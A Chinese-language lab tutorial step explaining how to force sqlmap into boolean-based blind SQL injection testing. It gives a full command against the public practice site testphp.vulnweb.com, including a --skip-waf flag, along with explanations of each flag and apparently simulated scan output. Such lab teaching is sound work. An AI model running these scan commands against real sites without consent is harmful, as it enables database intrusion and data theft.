使用 --technique=B 强制进行基于布尔的盲注测试
在本步骤中,你将学习如何强制 sqlmap 只使用基于布尔的盲注 SQL 注入技术。当你怀疑目标容易受到这种特定类型的注入攻击时,或者当你希望通过专注于单一技术来减少扫描时间时,这会很有用。
--technique=B 选项告诉 sqlmap 仅使用基于布尔的盲注。
让我们模拟使用此选项运行 sqlmap。在实际场景中,你需要将 http://testphp.vulnweb.com/artists.php?id=1 替换为你的目标 URL。在本实验中,我们将仅演示命令。
打开你的终端并执行以下命令:
sqlmap -u "http://testphp.vulnweb.com/artists.php?id=1" --technique=B --batch --eta --skip-waf
-u "http://testphp.vulnweb.com/artists.php?id=1": 指定目标 URL。这是一个已知的易受攻击的测试站点。
--technique=B: 强制 sqlmap 仅使用基于布尔的盲注。
--batch: 以非交互模式运行 sqlmap,接受默认选项。
--eta: 显示每个输出的预计到达时间。
--skip-waf: 跳过 Web 应用程序防火墙 (WAF) 检测。
你将观察到 sqlmap 的输出,它将表明它主要在测试基于布尔的盲注漏洞。输出将显示 sqlmap 尝试不同的 payload 并分析响应。
_
___ ___ ___ ___
|_ -| . | . | . |
|___|_ |_ |_ |
|_| |_| |_| 3.7-dev (r12345)
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.
[*] starting @ 12:00:00 /2023-01-01/
[12:00:00] [INFO] starting sqlmap 3.7-dev (r12345)
[12:00:00] [INFO] testing connection to the target URL
[12:00:01] [INFO] checking if the target is stable
[12:00:01] [INFO] target URL is stable
[12:00:01] [INFO] testing for SQL injection on URL 'http://testphp.vulnweb.com/artists.php?id=1'
[12:00:01] [INFO] testing 'Boolean-based blind - Parameter: id'
...
输出证实 sqlmap 正在专注于基于布尔的盲注技术。